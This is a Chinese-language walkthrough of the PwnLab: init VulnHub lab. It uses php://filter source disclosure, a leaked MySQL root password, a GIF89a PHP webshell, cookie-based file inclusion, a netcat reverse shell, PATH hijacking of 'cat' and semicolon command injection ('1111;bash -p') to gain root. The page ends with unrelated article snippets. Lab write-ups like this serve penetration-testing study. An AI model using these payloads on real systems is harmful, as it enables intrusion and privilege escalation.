PwnLab靶场PHP伪协议OSCP推荐代码审计命令劫持命令注入

下载链接:
PwnLab: init ~ VulnHub

安装:

打开vxbox直接选择导入虚拟电脑即可

正文:

先用nmap扫描靶机ip

nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到PwnLab文件夹下,命名为port方便后续查看

nmap -p- 192.168.1.4 -r -PN -oA PwnLab/port

(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御

系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到PwnLab文件夹下,命名为server方便后续查看

nmap -p 80,111,3306,60570 192.168.1.4 -sC -sV -r -O --version-all -A -oA PwnLab/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)

访问80端口

想要上传文件需要先进行登录才行

我们对登陆位置进行sql注入尝试以及万能密码尝试

发现并不会成功

我们对该靶场进行目录扫描操作

dirsearch -u “192.168.1.4”

对config.php进行访问

发现为一片空白,没有读取出任何信息

返回到主页面

观察URL的结构,感觉他可能会存在文件包含漏洞

进行尝试文件包含漏洞

不行

既然是php,我们可以尝试使用下php伪协议

常用的php伪协议:

php://filter/read=convert.base64-encode/resource=indexphp://filter/resource=index

利用filter协议读文件,将index通过base64编码后进行输出。如果不进行编码,文件包含后就会当做php文件直接执行,我们可以进行编码后复制出来,在进行解码操作

读取成功

通过base64解码,成功得到index源码

我们用同样的方法,可以读取出upload以及config的源代码

我们同样将我们得到的base64数据进行解码,并保存起来

当我们将config解码出来后,我们得到了mysql的账号密码
 

root:H4u%QJ_H99

在之前的nmap扫描中就知道靶场的3306端口是开启状态

进行mysql登录

mysql -uroot -h 192.168.1.4 -p

登录成功

查看下数据库中的数据

show databases;

use Users;

show tables;

select * from users;

得到了三个账号密码

将密码进行base64解密并分别进行保存

回到80端口进行尝试用得到的账号密码进行登录

登录成功,进行文件上传尝试

根据我们之前得到的upload文件源码得知

对上传文件进行了白名单尝试,只允许上传后缀为jpg、jpeg、gif以及png文件

并且对文件头进行校验

准备好一句话木马并将文件头写为GIF89a

GIF89a<?phpsystem($_GET['132']);phpinfo();?>

保存为后缀为gif文件

尝试上传并进行bp抓包修改

上传失败

我们再次进行后缀修改,并尝试使用00截断进行上传

找到gif位置并将gif前的小数点改为00

再次进行上传

同样上传失败。。。。

查看之前获得到的index源代码

我们在该位置发现异常

在该位置未对$_COOKIE['lang']进行输入验证和过滤:攻击者可以通过修改$_COOKIE['lang']的值来执行潜在的攻击,例如包含恶意文件或执行任意代码。

代码解读:

isset($_COOKIE['lang']):这是一个条件语句,检查名为lang的Cookie是否存在。isset()函数

用于检测变量是否已设置并且非null。

如果$_COOKIE['lang']存在,代码将继续执行下一行。

include("lang/".$_COOKIE['lang']);:这行代码使用include语句来包含一个语言文件。它使

用$_COOKIE['lang']的值构建文件路径,并将该文件包含到当前的代码文件中。

获取shell:

根据该段代码的内容,我们可以构造一个名为“lang”的cookie从而造成文件包含漏洞

先正常上传后缀为gif的木马文件

上传完成后

右键下面的小图标,新建标签页面打开图像

该路径则为我们稍后构造的cookie文件包含所需要的路径

再次使用bp抓包,随便上传一个文件并修改cookie

在原有的cookie后添加

;lang=../upload/440f0eab6c78d0e3cb46c99f5d43d1b1.gif

如果使用bp上传后报错提示

Your browser sent a request that this server could not understand.

Request header field is missing ':' separator.

(我在之前的测试中并没有出现过此情况,并且在之前的测试中的cookie并没有这么长,所以在该位置报错了,遂我尝试使用hackbar进行构造cookie)

可以使用hackbar进行修改cookie(在火狐的插件中可以搜索到,一个收费一个免费,我用的是免费版)

load URL:将URL地址载入到hackbar

勾选上cookies并在最后的cookie行添加上我们构造好的cookie

最后点击execute

解析成功(因为在我们上传的一句话木马中加入了  phpinfo(),用来判断该木马是否解析成功)

但是我经过测试发现好像并不能利用该木马传参进行反弹shell

所以我们我们可以尝试使用kali目录下的php shell文件或者自己写一个php反弹shell文件

木马文件在kali的/usr/share/webshells/php目录下

cd /usr/share/webshells/php

将该文件内容复制出来并做对应的ip以及端口修改

将该位置修改为kali的ip以及nc监听的端口

并将该文件后缀修改为.gif

在kali中打开nc监听

nc -lvvp 8080

将该木马进行上传

(如果使用hackbar后再次点击upload会直接跳转到之前的phpinfo解析页面,我们需要再次打开hackbar并勾选cookie,将最后的我们添加的cookie删除掉,然后重新打开文件上传页面即可)

上传木马

并同样将该文件的路径以及名称进行保存

并再次随便上传一个文件(选不选择都行,主要目的是抓包并修改cookie,所以我这里就没有选择文件,直接点击的上传),bp抓包修改cookie

;lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif

如果还是出现了报错情况,可以尝试将浏览器的缓存以及cookie进行清除

nc监听成功

我们之前获得过三个账号密码,尝试进行用户切换,毕竟该用户权限太低了

提权:

su kent

出现报错提示,我们需要重新打开一个命令交互(Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn)在该网站中有各种shell来执行命令)

查看是否有python环境

whereis python

python -c 'import pty; pty.spawn("/bin/sh")'

可以正常使用命令交互了

切换kent用户

cd

回到该用户文件夹下

在用户目录下也没有东西

ls

查看具有sudi权限的文件,看能否利用进行提权

find / -perm -u=s -type f 2>/dev/null

没有东西

切换下一个用户看看

(经过尝试mike用户的密码不正确)

su kane

切换到自己文件夹下

cd

查看当前文件夹下有哪些东西

ls

我们发现了该文件

尝试运行

报错

查看下该文件

strings msgmike

发现该文件可以用system权限执行cat命令,但是由于/home/mike/msg.txt文件不存在,所以报错了,那我们可以尝试使用命令劫持

在当前目录下写一个cat文件并给他运行权限

echo /bin/bash >cat
chmod +x cat

利用环境变量劫持,将环境变量修改为cat文件目录下也就是当前目录下

export PATH=.:$PATH

然后再次尝试运行msgmike

我们的用户变为了mike

因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike

当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限

我们手动切换到mike文件夹下

cd /home/mike

我们运行该目录下的msg2root文件

发现该文件是用来给root用户发送消息的

我们使用同样的方法来查看下该文件

strings msg2root

发现该文件则直接指定了具体目录,所以我们没办法再次进行劫持命令

注意这里的%s  该变量则是我们给root用户发送消息的变量

当我们输入一串字符串时,则会赋值给%s ,并将消息存储到/root/messages.txt文件下

那我们可以尝试利用该文件构造一个拼接命令,让他来执行我们需要的命令

./msg2root
1111;id

我们尝试使用分号将命令进行隔开,类似于手动sql注入万能密码的拼接方法

成功执行

尝试使用该方法开启一个新bash(命令交互),-p为用最高权限开启

1111;bash -p

提权成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/767726.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java每日一题——买啤酒(递归经典问题)

前言&#xff1a; 非常喜欢的一道题&#xff0c;经典中的经典。打好基础&#xff0c;daydayup!!!啤酒问题&#xff1a;一瓶啤酒2元&#xff0c;4个盖子可以换一瓶&#xff0c;2个空瓶可以换一瓶&#xff0c;请问10元可以喝几瓶 题目如下&#xff1a; 啤酒问题&#xff1a;一瓶…

进程和线程,线程实现的几种基本方法

什么是进程&#xff1f; 我们这里学习进程是为了后面的线程做铺垫的。 一个程序运行起来&#xff0c;在操作系统中&#xff0c;就会出现对应的进程。简单的来说&#xff0c;一个进程就是跑起来的应用程序。 在电脑上我们可以通过任务管理器可以看到&#xff0c;跑起来的应用程…

3.24 day3 QT

使用手动连接&#xff0c;将登录框中的取消按钮使用ot4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断u界面上输入的账号是否为"admin"&#xff0c;密码是否为&…

03-SparkSQL入门

0 Shark Spark 的一个组件&#xff0c;用于大规模数据分析的 SQL 查询引擎。Shark 提供了一种基于 SQL 的交互式查询方式&#xff0c;可以让用户轻松地对大规模数据集进行查询和分析。Shark 基于 Hive 项目&#xff0c;使用 Hive 的元数据存储和查询语法&#xff0c;并基于Hiv…

状态机高阶讲解-10

1896 01:19:16,700 --> 01:19:19,550 那接下来我们就开始来建模了 1897 01:19:20,690 --> 01:19:22,163 那建模的开始呢 1898 01:19:22,163 --> 01:19:24,900 我们就首先要添加一个类了 1899 01:19:26,330 --> 01:19:27,868 那我们这个很简单 1900 01:19:27,86…

力扣100热题[哈希]:最长连续序列

原题&#xff1a;128. 最长连续序列 题解&#xff1a; 官方题解&#xff1a;. - 力扣&#xff08;LeetCode&#xff09;题解&#xff0c;最长连续序列 &#xff1a;哈希表 官方解题思路是先去重&#xff0c;然后判断模板长度的数值是否存在&#xff0c;存在就刷新&#xff0c…

js教程(8)

一、事件流 1.概述 在JavaScript中&#xff0c;事件流描述的是事件在DOM结构中传播和被处理的顺序。事件流分为冒泡阶段和捕获阶段。 冒泡阶段&#xff08;Bubbling Phase&#xff09;&#xff1a;事件首先从最内层的元素开始向父级元素传播&#xff0c;一直传播到最外层的元素…

论文:Scalable Zero-shot Entity Linking with Dense Entity Retrieval翻译笔记(实体链接)

文章目录 论文标题&#xff1a;通过密集实体检索实现可扩展的零镜头实体链接摘要1 引言2 相关工作3 定义和任务制定4 方法4.1 双编码器4.2 交叉编码器4.3 知识蒸馏 5 实验5.1 数据集5.2 评估设置和结果5.2.1 零点实体链接5.2.2 tackbp-20105.2.3 WikilinksNED Unseen-Mentions …

c++常考基础知识(2)

二.c关键字 关键字汇总 c中共有63个关键字&#xff0c;其中包括int&#xff0c;char&#xff0c;double等类型关键字&#xff0c;if&#xff0c;else&#xff0c;while&#xff0c;do&#xff0c;等语法关键字&#xff0c;还有sizeof等函数关键字。 三.数据结构 1.数组&#x…

阿里云-零基础入门NLP【基于深度学习的文本分类3-BERT】

文章目录 学习过程赛题理解学习目标赛题数据数据标签评测指标解题思路BERT代码 学习过程 20年当时自身功底是比较零基础(会写些基础的Python[三个科学计算包]数据分析)&#xff0c;一开始看这块其实挺懵的&#xff0c;不会就去问百度或其他人&#xff0c;当时遇见困难挺害怕的…

一键入门Ubuntu22!

目录 一、安装 二、常用目录 三、常用指令 四、用户指令 五、ssh与scp 六、服务相关 七、Python与Pycharm 八、Vim编辑器 九、Ubuntu22下使用Mysql 十、Ubuntu22下使用mongodb 十一、Ubuntu22下使用redis Ubuntu是一个基于Debian的开源操作系统&#xff0c;由Canoni…

Java 自定义线程池实现

自定义线程池 简介任务图示阻塞队列 BlockingQueue<T>ReentrantLock代码 线程池 ThreadPool工作线程类 Worker 拒绝策略接口代码测试类 TestThreadPool为什么需要j i&#xff1f;&#xff08;lambad表达式相关&#xff09; 测试结果拒绝策略&#xff1a;让调用者自己执行…

求解线性方程组

如图题意看出x1有且仅有两种可能&#xff0c;1或者0&#xff0c;且知道了所有a的值&#xff0c;且因为要求所得答案字典序最小&#xff0c;所以先假设x10。 又因a2x1x2所以可以求出x2的值&#xff0c;又如a2x1x2x3,所以可以求出x3的值依次求出所有x的值&#xff0c;但每求出一…

SpringCloud-记

目录 什么是SpringCloud 什么是微服务 SpringCloud的优缺点 SpringBoot和SpringCloud的区别 RPC 的实现原理 RPC是什么 eureka的自我保护机制 Ribbon feigin优点 Ribbon和Feign的区别 什么是SpringCloud Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发…

2024/3/24周报

文章目录 摘要Abstract文献阅读题目引言创新点数据处理研究区域和数据缺失值处理水质相关分析 方法和模型LSTMAttention机制AT-LSTM模型 实验结果 深度学习transformer代码实现1 模型输入1.1 Embedding层1.2 位置编码 2 Encoder2.1 编码器2.2 编码器层2.3注意力机制2.4多头注意…

第五讲 哈希表

我们在前面讲了存储层&#xff0c;以及从次磁盘中将页面加载到缓冲池【Buffer Pool】中&#xff0c;现在我们继续往上&#xff0c;来讨论如何支持 DBMS 的执行引擎从页面中读取/写入数据。这部分是访问方法层的功能&#xff0c;它负责通过索引或者表本身&#xff0c;设置是其他…

生物信息学文章中常见的图应该怎么看?

目录 火山图 热图 箱线图 森林图 LASSO回归可视化图&#xff08;套索图&#xff09; 交叉验证图 PCA图 ROC曲线图 这篇文章只介绍这些图应该怎么解读&#xff0c;具体怎么绘制&#xff0c;需要什么参数&#xff0c;怎么处理数据&#xff0c;会在下一篇文章里面给出 火山…

python之jsonpath的使用

文章目录 介绍安装语法语法规则举例说明 在 python 中使用获取所有结构所有子节点的作者获取所有子孙节点获取所有价格取出第三本书的所有信息取出价格大于70块的所有书本从mongodb 中取数据的示例 介绍 JSONPath能在复杂的JSON数据中 查找和提取所需的信息&#xff0c;它是一…

Java设计模式之单例模式(多种实现方式)

虽然写了很多年代码&#xff0c;但是说真的对设计模式不是很熟练&#xff0c;虽然平时也会用到一些&#xff0c;但是都没有深入研究过&#xff0c;所以趁现在有空练下手 这章主要讲单例模式&#xff0c;也是最简单的一种模式&#xff0c;但是因为spring中bean的广泛应用&#…

YoloV8改进策略:BackBone改进|PKINet

摘要 PKINet是面向遥感旋转框的主干,网络包含了CAA、PKI等模块,给我们改进卷积结构的模型带来了很多启发。本文,使用PKINet替代YoloV8的主干网络,实现涨点。PKINet是我在作者的模型基础上,重新修改了底层的模块,方便大家轻松移植到YoloV8上。 论文:《Poly Kernel Ince…